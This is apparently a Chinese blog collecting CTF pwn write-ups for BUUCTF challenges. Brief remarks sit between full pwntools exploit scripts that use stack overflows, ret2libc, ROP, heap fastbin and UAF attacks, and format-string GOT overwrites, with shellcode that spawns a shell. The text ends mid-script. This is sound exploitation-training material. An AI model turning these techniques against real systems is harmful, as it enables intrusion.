说是直接能读取flag文件,我反正不信,然后这个题目仔细看发现bss段时有可执行权限的,直接调用read_plt
写入shellcode返回执行即可
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25632
conn = remote(HOST ,PORT)
pause()
bss = 0x0804A040
gets_plt = 0x08048430
conn.recvuntil("Please enter your string: \n")
payload = "A" * 0x28 + p32(bss-4)
payload += p32(gets_plt) + p32(bss) +p32(bss)
conn.sendline(payload)
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
conn.sendline(shellcode)
pause()
conn.interactive()
简单的不能再简单的栈溢出,怎么这么多水题…
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29312
conn = remote(HOST ,PORT)
pause()
win_func = 0x080485BD
hint = 0x80487e0
system_plt = 0x8048440
payload = "A" * 0x17 + p32(system_plt) + p32(win_func) + p32(hint)*20
conn.sendline(payload)
pause()
conn.interactive()
也是水题,就是64位写一个调用execve函数就行了,中间注意一下,不能直接push 0x0068732f6e69622f
,因为push和pop都只能堆字操作,不能对字节操作。用mov rax,0x0068732f6e69622f
代替
剩下的就是正常操作了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27759
conn = remote(HOST ,PORT)
pause()
conn.recvuntil("Show me your magic!")
shellcode = ""
shellcode += asm("mov rax,0x0068732f6e69622f")
shellcode += asm("push rax")
shellcode += asm("mov rdi,rsp")
shellcode += asm("mov rsi,0x0")
shellcode += asm("mov rdx,0x0")
shellcode += asm("mov rax,0x3b")
shellcode += asm("syscall")
conn.sendline(shellcode)
pause()
conn.interactive()
经典的套路,利用gets将shellcode写在bss段,然后通过mprotect将此空间授权可执行,通过ret跳转至shellcode执行即可
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29280
conn = remote(HOST ,PORT)
elf = ELF("./rop")
#pwnlib.gdb.attach(conn,"b *0x08048893")
pause()
bss = 0x080EC000
pop_edx_ret = 0x0806ecda
leave_ret = 0x8048892
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = "A"*0xc + p32(bss-4)
payload += p32(elf.symbols['gets']) + p32(pop_edx_ret) + p32(bss)
payload += p32(elf.symbols['mprotect']) + p32(bss) + p32(bss) + p32(0x100) + p32(7)
conn.sendline(payload)
pause()
conn.sendline(shellcode)
pause()
conn.interactive()
和上面的思路一样,就是写如shellcode,通过mprotect修改空间权限
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27482
conn = remote(HOST ,PORT)
elf = ELF("./simplerop")
pause()
bss = 0x080EB000
pop_edx_ret = 0x0806e82a
leave_ret = 0x08048E6E
#调用read函数将shellcode和调用mprotect给bss段赋权限的代码写入bss段,然后通过leave_ret转移栈空间
conn.recvuntil("Your input :")
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = "A"*0x1c + p32(bss-4)
payload += p32(elf.symbols['read']) + p32(leave_ret) + p32(0) + p32(bss) + p32(0x200)
conn.sendline(payload)
pause()
#read函数调用后的内容
payload = p32(elf.symbols['mprotect']) + p32(bss+0x40) + p32(bss) + p32(0x200) + p32(7)
payload = payload.ljust(0x40,"\x00")
payload += shellcode
conn.sendline(payload)
pause()
conn.interactive()
就是正常的ret_2_libc
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29820
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
#conn = process("./PicoCTF_2018_buffer_overflow_2")
#pwnlib.gdb.attach(conn,"b *0x0804866B")
pause()
vuln = 0x8048646
puts_plt = 0x8048460
puts_got = 0x804A01C
main = 0x0804866D
conn.recvuntil("Please enter your string:")
payload = "A"*0x6c + "BBBB"
payload += p32(puts_plt) + p32(main) + p32(puts_got) + "CCCC"
conn.sendline(payload)
conn.recvuntil("CCCC\n")
puts_leak = conn.recv(4)
puts_leak = u32(puts_leak)
print "The puts leak is ",hex(puts_leak)
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
print "The libc_base is ",hex(libc_base)
one_gadget = libc_base + 0x3cbea
conn.recvuntil("Please enter your string:")
payload = "A"*0x6c + "BBBB"
payload += p32(one_gadget)
payload += p32(0)*12
conn.sendline(payload)
pause()
conn.interactive()
栈溢出水题
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25079
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
#conn = process("./bof")
#pwnlib.gdb.attach(conn,"b *0x08048517")
pause()
main = 0x0804851C
write_plt = 0x80483C0
write_got = 0x804A01C
conn.recvuntil("Welcome to XDCTF2015~!\n")
payload = "A"*0x70
payload += p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
conn.sendline(payload)
write_leak = conn.recv(4)
write_leak = u32(write_leak)
print "The write leak is",hex(write_leak)
libc = LibcSearcher("write",write_leak)
libc_base = write_leak - libc.dump("write")
print "The libc base is",hex(libc_base)
conn.recvuntil("Welcome to XDCTF2015~!\n")
one_gadget = libc_base + 0x3a80c
payload = "A"*0x70
payload += p32(one_gadget)
payload += p32(0)*20
conn.sendline(payload)
pause()
conn.interactive()
这个题目真的想杀了它…本来想着有个函数直接读取文件,我是不信的,所以用stack povit转移了栈空间,在本地测试通过了,注意调用scanf时遇到空格会截止,第二就是scanf调用的时候需要大量的栈空间,所以bss段设置的位置需要地址大一些,本地成功代码
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26238
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
#conn = process("./bbys_tu_2016")
#pwnlib.gdb.attach(conn,"b *0x080485FE")
pause()
leave_ret = 0x08048603
puts_plt = 0x08048420 #not useful
puts_got = 0x0804A018
bss = 0x0804Aa44
pop_ebx_ret = 0x080483d5
pop_ebp_ret = 0x0804866f
pop_edi_ebp_ret = 0x0804866e
scanf_plt = 0x08048460
format_string = 0x080486D8
call_puts = 0x080485F9
printflag = 0x0804856D
#conn.recvuntil("This program is hungry. You should feed it.")
payload = "A"*0x14 + p32(bss - 4)
payload += p32(scanf_plt) + p32(pop_edi_ebp_ret) + p32(format_string) + p32(bss)
payload += p32(pop_ebp_ret) + p32(bss-4)
payload += p32(call_puts) + p32(puts_got)
conn.sendline(payload)
conn.recvuntil("Do you feel the flow?\n")
pause()
payload = p32(scanf_plt) + p32(0) + p32(format_string) + p32(bss+0x4)
conn.sendline(payload)
puts_leak = conn.recv(4)
pause()
puts_leak = u32(puts_leak)
print "The puts leak is",hex(puts_leak)
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
print "The libc base is",hex(libc_base)
pause()
one_gadget = libc_base + 0x3a80c #0x3d2a3
one_gadget = libc_base + 0x3d2a3
payload = p32(one_gadget)
conn.sendline(payload)
''''''
#pause()
conn.interactive()
但是远程连接有问题,就不明白了,一查答案,居然真的就是调用printflag函数就行了…靠…
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26238
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
#conn = process("./bbys_tu_2016")
#pwnlib.gdb.attach(conn,"b *0x080485FE")
pause()
printflag = 0x0804856D
payload = "A"*0x18+ p32(printflag)
conn.sendline(payload)
conn.interactive()
就真的是一个字符串的匹配呀…
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28536
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
#conn = process("./mrctf2020_easyoverflow")
#pwnlib.gdb.attach(conn,"b main")
pause()
payload = "A"*0x30
payload += "n0t_r3@11y_f1@g"
payload += "\x00"
conn.send(payload)
conn.interactive()
这就是水题栈溢出,注意组合一下,需要利用leave ret转移栈空间,然后需要利用push 0
解决gets无法输入0的问题,省略了read函数种长度输入,利用栈空间种原本的大数值作为长度
这个题目放在2020年,应该已经是水题了把
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26793
conn = remote(HOST ,PORT)
pause()
bss = 0x0804AA80 #注意这里的bss一定要大一点,要不然调用函数过程中压栈会到不可写的空间
system_plt = 0x080483E0
read_plt = 0x080483B0
call_read = 0x08048591 #这里有push 0 ,解决了gets没办法输入0的问题,然后利用leave ret转移栈空间
payload = "A"*0x18 + p32(bss-4)
payload += p32(call_read) + p32(bss) #+ p32(0x120) 这里面没有输入长度,而是利用栈种本来有的大数值作为长度
conn.send(payload)
pause()
payload = p32(system_plt) + p32(0x41414141) + p32(bss+0xc) #直接在转移栈空间后,调用system函数
payload += "/bin/sh\x00"
conn.send(payload)
conn.interactive()
看到这个的时候,因为用到了类,我还以为是需要用堆的相关知识来控制类中存放的函数地址的,但是事实上并没有那么麻烦,仅仅是通过不同函数栈空间内容的利用,就已经实现了控制
简单分析一下题目
我们可以看到,题目总共建立了两个类,一个是admin
,一个是user
,然后再后面比较两个类的password变量就可以进入password_checker
函数,我们再看这个函数
只要两个password一致,就可以执行**a1
,实际上我们倒过来追溯就行
通过测试我们就能发现,**v8
指向的内容,是可以再User::get_password
函数中修改的,因为指向的就是地址更低的栈空间。
总之,一调试就明白了!
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25043
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
#conn = process("./login")
#pwnlib.gdb.attach(conn,"b *0x400B8e\nb *0x400A4A\n")
pause()
username = "admin"
conn.recvuntil("Please enter username:")
conn.sendline(username)
password = "2jctf_pa5sw0rd\x00\x00"
password += p64(0x0400E88)*20
conn.recvuntil("Please enter password:")
conn.sendline(password)
conn.interactive()
题目本身栈可执行,就完事了,但是题目环境有问腿就只能用ret2libc的方式,因为正常的泄露栈地址一开始不会显示出来,这个是远程打的代码
from pwn import *
from LibcSearcher import *
r = remote('node4.buuoj.cn',27766)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']
payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)
r.send(payload)
write_addr = u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
r.send(payload)
r.interactive()
实际上本地也能调通的代码
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27766
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
#conn = process("./level1")
#pwnlib.gdb.attach(conn,"b *0x080484B5\n")
pause()
shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
conn.recvuntil("What's this:")
stack_leak = conn.recvuntil("?",drop=True)
stack_leak = int(stack_leak,16)
print "The stack leak is",hex(stack_leak)
payload = shellcode.ljust(0x8c,"A") + p32(stack_leak)
conn.sendline(payload)
conn.interactive()
虽然这个题目老板们觉得比较简单,但是我感觉还是有值得思考的地方的,我把这个题目分类归结为逻辑漏洞,为什么是逻辑漏洞呢?因为其实没有用到堆的什么特定。
简单分析一下题目
具体的功能不再多讲,就是创建用户、删除用户、打印属性和修改属性,直接讲一下需要注意的功能
|------------------------|
| 堆块1-用户定义块 |
|------------------------|
| 堆块1-系统定义块 |
|------------------------|
| 堆块2-用户定义块 |
|------------------------|
| 堆块2-系统定义块 |
|------------------------|
| 堆块3-用户定义块 |
|------------------------|
| 堆块3-系统定义块 |
|------------------------|
我们看一下update_user_describetion
这个功能,表面上是对输入长度进行的限制,但是这个实际上是和地址相关联的,是堆块1-用户定义块地址
+输入长度
<`堆块1-系统定义块地址则可以绕过
于是我们就可以利用堆的分配策略,想办法让系统定义的0x80堆块远在之后,包裹住其他堆块就行了,我的方法如下
`
add_user(0x60,"heap1",0x30,"AAAAAAAA") #0
add_user(0x50,"heap2",0x30,"BBBBBBBB") #1
add_user(0x50,"heap3",0x30,"CCCCCCCC") #2
add_user(0x50,"heap4",0x30,"DDDDDDDD") #3
delete_user(2)
delete_user(0)
add_user(0xe8,"hack!",0x30,"EEEEEEEE") #4
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GO76nfLH-1654346138291)(leanote://file/getImage?fileId=629b4e9e8b564f6dfa000004)]
这个时候通过控制第4个块就可以实现控制第1个块了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add_user(size1,name,size2,content):
conn.recvuntil("Action:")
conn.sendline("0")
conn.recvuntil("size of description:")
conn.sendline(str(size1))
conn.recvuntil("name:")
conn.sendline(str(name))
conn.recvuntil("text length:")
conn.sendline(str(size2))
conn.recvuntil("text:")
conn.sendline(str(content))
def delete_user(index):
conn.recvuntil("Action:")
conn.sendline("1")
conn.recvuntil("index:")
conn.sendline(str(index))
def display(index):
conn.recvuntil("Action:")
conn.sendline("2")
conn.recvuntil("index:")
conn.sendline(str(index))
def update_description(index,size,content):
conn.recvuntil("Action:")
conn.sendline("3")
conn.recvuntil("index:")
conn.sendline(str(index))
conn.recvuntil("text length:")
conn.sendline(str(size))
conn.recvuntil("text:")
conn.sendline(str(content))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27189
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./babyfengshui_33c3_2016'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
#conn = process("./babyfengshui_33c3_2016")
#pwnlib.gdb.attach(conn,"b *0x080487AF\nb *0x0804898D\nb *0x08048A15")
pause()
free_got = 0x0804B010
'''步骤一:通过新建和删除用户,绕过输入长度的限制'''
add_user(0x60,"heap1",0x30,"AAAAAAAA") #0
add_user(0x50,"heap2",0x30,"BBBBBBBB") #1
add_user(0x50,"heap3",0x30,"CCCCCCCC") #2
add_user(0x50,"heap4",0x30,"DDDDDDDD") #3
delete_user(2)
delete_user(0)
add_user(0xe8,"hack!",0x30,"EEEEEEEE") #4
'''步骤二:通过将0x80块存储的堆地址,使得可以泄露和修改free_got的内容'''
payload = "A"*(0x148) + p32(free_got)
update_description(4,len(payload)+1,payload)
display(1)
conn.recvuntil("description: ")
free_leak = conn.recv(4)
free_leak = u32(free_leak)
print "The free leak is",hex(free_leak)
libc = LibcSearcher("free",free_leak)
libc_base = free_leak - libc.dump("free")
print "The libc base is",hex(libc_base)
'''步骤三:通过修改describtion为/bin/sh,然后修改free_got地址为system地址,最后触发'''
system = libc_base + libc.dump("system")
payload = "/bin/sh\x00"
update_description(4,len(payload)+1,payload)
update_description(1,4,p32(system))
delete_user(4)
pause()
conn.interactive()
简单的栈溢出
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29885
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./babyfengshui_33c3_2016'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
#pwnlib.gdb.attach(conn,"b *0x80485CD")
leave_ret = 0x080484b8
system_plt = 0x08048400
pause()
payload = "A"*0x28
conn.send(payload)
conn.recvuntil("A"*0x28)
stack_leak = u32(conn.recv(4))
print "The stack leak is",hex(stack_leak)
s = stack_leak - 0x38
payload = p32(system_plt) + p32(leave_ret) + p32(s + 0xc)
payload += "/bin/sh\x00"
payload = payload.ljust(0x28,"A")
payload += p32(s-0x4)
payload += p32(leave_ret)
conn.send(payload)
pause()
conn.interactive()
水题,本身堆存放了一个全局变量的列表,所以只需要再全局变量前面申请一个堆(fastbin attack),然后控制全局变量的列表就能实现任意地址写,从而实现got表劫持
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create_heap(size,content):
conn.recvuntil("Your choice :")
conn.sendline("1")
conn.recvuntil("Size of Heap :")
conn.sendline(str(size))
conn.recvuntil("Content of heap:")
conn.sendline(str(content))
def edit_heap(index,size,content):
conn.recvuntil("Your choice :")
conn.sendline("2")
conn.recvuntil("Index :")
conn.sendline(str(index))
conn.recvuntil("Size of Heap :")
conn.sendline(str(size))
conn.recvuntil("Content of heap :")
conn.sendline(str(content))
def delete_heap(index):
conn.recvuntil("Your choice :")
conn.sendline("3")
conn.recvuntil("Index :")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27621
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./magicheap'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./magicheap")
#pwnlib.gdb.attach(conn,"b *0x400A6F\nb *0x400925")
pause()
bss = 0x602080
free_got = 0x602018
hack = 0x400C50
create_heap(0x60,"test") #0
create_heap(0x60,"test") #1
create_heap(0x60,"test") #2
create_heap(0x60,"test") #3
create_heap(0x60,"test") #4
delete_heap(3)
delete_heap(1)
payload = "\x00"*0x68 + p64(0x71) + p64(bss - 0x3)
edit_heap(0,len(payload),payload)
create_heap(0x60,"attack!") #1
create_heap(0x60,"attack!") #3
payload = "A"*(0x30+3) + p64(free_got)
edit_heap(3,len(payload),payload)
payload = p64(hack)
edit_heap(0,len(payload),payload)
# x/20a 0x602000
delete_heap(4)
pause()
conn.interactive()
这是一个典型的UAF漏洞,关键的利用点:一是全局变量没有再delete后清除;二是delete函数和show函数都是类似类通过调用存储的函数地址实现的,这就使得我们可以通过UAF劫持程序流
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def new_note(index,type,length,content):
conn.recvuntil("CNote >")
conn.sendline("1")
conn.recvuntil("Index >")
conn.sendline(str(index))
conn.recvuntil("Type >")
conn.sendline(str(type))
if type == 2:
conn.recvuntil("Length >")
conn.sendline(str(length))
conn.recvuntil("Value >")
conn.sendline(str(content))
elif type == 1:
conn.recvuntil("Value >")
conn.sendline(str(content))
def del_note(index):
conn.recvuntil("CNote >")
conn.sendline("2")
conn.recvuntil("Index >")
conn.sendline(str(index))
def show_note(index):
conn.recvuntil("CNote >")
conn.sendline("3")
conn.recvuntil("Index >")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29414
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./magicheap'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./ciscn_2019_n_3")
#pwnlib.gdb.attach(conn,"b *0x0804895A")
pause()
system_plt = 0x08048500
system_got = 0x804B028
'''第一步:通过构造,使得第6块的两个堆,指向原本第0、2块的第一个堆'''
payload = "/bin/sh\x00"
new_note(0,2,0x20,payload) #0
new_note(1,2,0x20,payload) #1
new_note(2,2,0x20,payload) #2
new_note(3,2,0x20,payload) #3
del_note(2)
del_note(0)
'''第二步:构造第6块的内容,使得原本的第2块的第1个堆呗篡改'''
payload = "sh\x00\x00"+p32(system_plt)# + p32(system_plt)
new_note(6,2,0xc,payload) #6
#这一步是将第2块的第2个堆内容改为/bin/sh,这样篡改后才能执行system("/bin/sh")
payload = "/bin/sh\x00"
new_note(4,2,0x20,payload) #4
new_note(5,2,0x20,payload) #5
#触发漏洞
del_note(2)
pause()
conn.interactive()
就是最最简单基础的格式化字符串,没什么难度
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29757
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./magicheap'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./axb_2019_fmt32")
#pwnlib.gdb.attach(conn,"b *0x0804874B")
pause()
sprintf_got = 0x0804A030
'''步骤一:泄露libc地址'''
conn.recvuntil("Please tell me:")
payload = "%151$p"
conn.sendline(payload)
conn.recvuntil("Repeater:")
__libc_start_main_leak = conn.recvuntil("\n",drop=True)
__libc_start_main_leak = int(__libc_start_main_leak,16) - 247
print "The __libc_start_main is ",hex(__libc_start_main_leak)
libc = LibcSearcher("__libc_start_main",__libc_start_main_leak)
libc_base = __libc_start_main_leak - libc.dump("__libc_start_main")
print "The libc base is",hex(libc_base)
'''步骤二:计算onegadget地址,然后覆写got表'''
one_gadget = libc_base + 0x3a80c
print "The one_gadget is",hex(one_gadget)
payload = "A" + p32(sprintf_got) + p32(sprintf_got+2)
num1 = one_gadget%0x10000 - 0x12
num2 = (0x10000-num1)+(one_gadget/0x10000) - 0x12
fmt_1 = "%"+str(num1)+"c%8$hn"
fmt_2 = "%"+str(num2)+"c%9$hn"
payload += fmt_1 + fmt_2
conn.recvuntil("Please tell me:")
conn.sendline(payload)
#x/1a 0x0804A030
conn.recvuntil("Please tell me:")
conn.sendline(p32(0)*20)
pause()
conn.interactive()
看一下题目,就是把输出和报错关闭了,只留下输入stdin,然后执行shell
其实按照web的做法是可以做的,但是这里是对文件描述符进行修改
可以对stdout重定向,将文件描述符 1 重定向到文件描述符 0 :
因此这题不用写exp,直接执行 exec 1>&0
,也就是把标准输出重定向到标准输入,因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了
简单的栈溢出
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = [JHHHH"terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28842
conn = remote(HOST ,PORT)
pause()
program_point = 0x08048087
payload = "A"*0x14 + p32(program_point)
conn.recvuntil("Let's start the CTF:")
conn.send(payload)
stack_leak = conn.recv(4)
stack_leak = u32(stack_leak)
print "The stack leak is",hex(stack_leak)
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = "A"*0x14 + p32(stack_leak+0x14)
payload += shellcode
conn.send(payload)
pause()
conn.interactive()
水题
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25328
conn = remote(HOST ,PORT)
pause()
bss = 0x601080
leave_ret = 0x400699
read_plt = 0x400500
puts_plt = 0x4004E0
puts_got = 0x601018
pop_rdi = 0x400703
pop_rbp = 0x400590
main = 0x400680
'''步骤一:先栈溢出转移栈空间,并且布置新的栈空间'''
conn.recvuntil("what you want")
payload = 0x60*"A" + p64(bss + 0x80 -8) + p64(leave_ret)
conn.send(payload)
conn.recvuntil("Done!You can check and use your borrow stack now!")
payload = "A"*0x80
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rbp) + p64(bss-8)
payload += p64(main)
conn.send(payload)
'''步骤二:利用布置的栈空间泄露libc地址'''
conn.recv()
puts_leak = conn.recvuntil("\n",drop=True)
puts_leak = puts_leak.ljust(8,"\x00")
puts_leak = u64(puts_leak)
print "The leak puts is",hex(puts_leak)
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
print "The base libc is",hex(libc_base)
one_gadget = libc_base + 0x4526a#0x4f302
'''步骤三:写入onegadget'''
payload = p64(one_gadget) + p64(0)*12
conn.send(payload)
pause()
conn.interactive()
水题,正常的栈溢出
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25925
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babystack'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./babystack")
#pwnlib.gdb.attach(conn,"b *0x4009E9")
pause()
'''步骤一:泄露canary'''
conn.recvuntil(">>")
conn.send("1")
payload = "A"*0x88
conn.sendline(payload)
conn.recvuntil(">>")
conn.send("2")
conn.recvuntil("\n")
canary_leak = conn.recv(7)
canary_leak = "\x00" + canary_leak
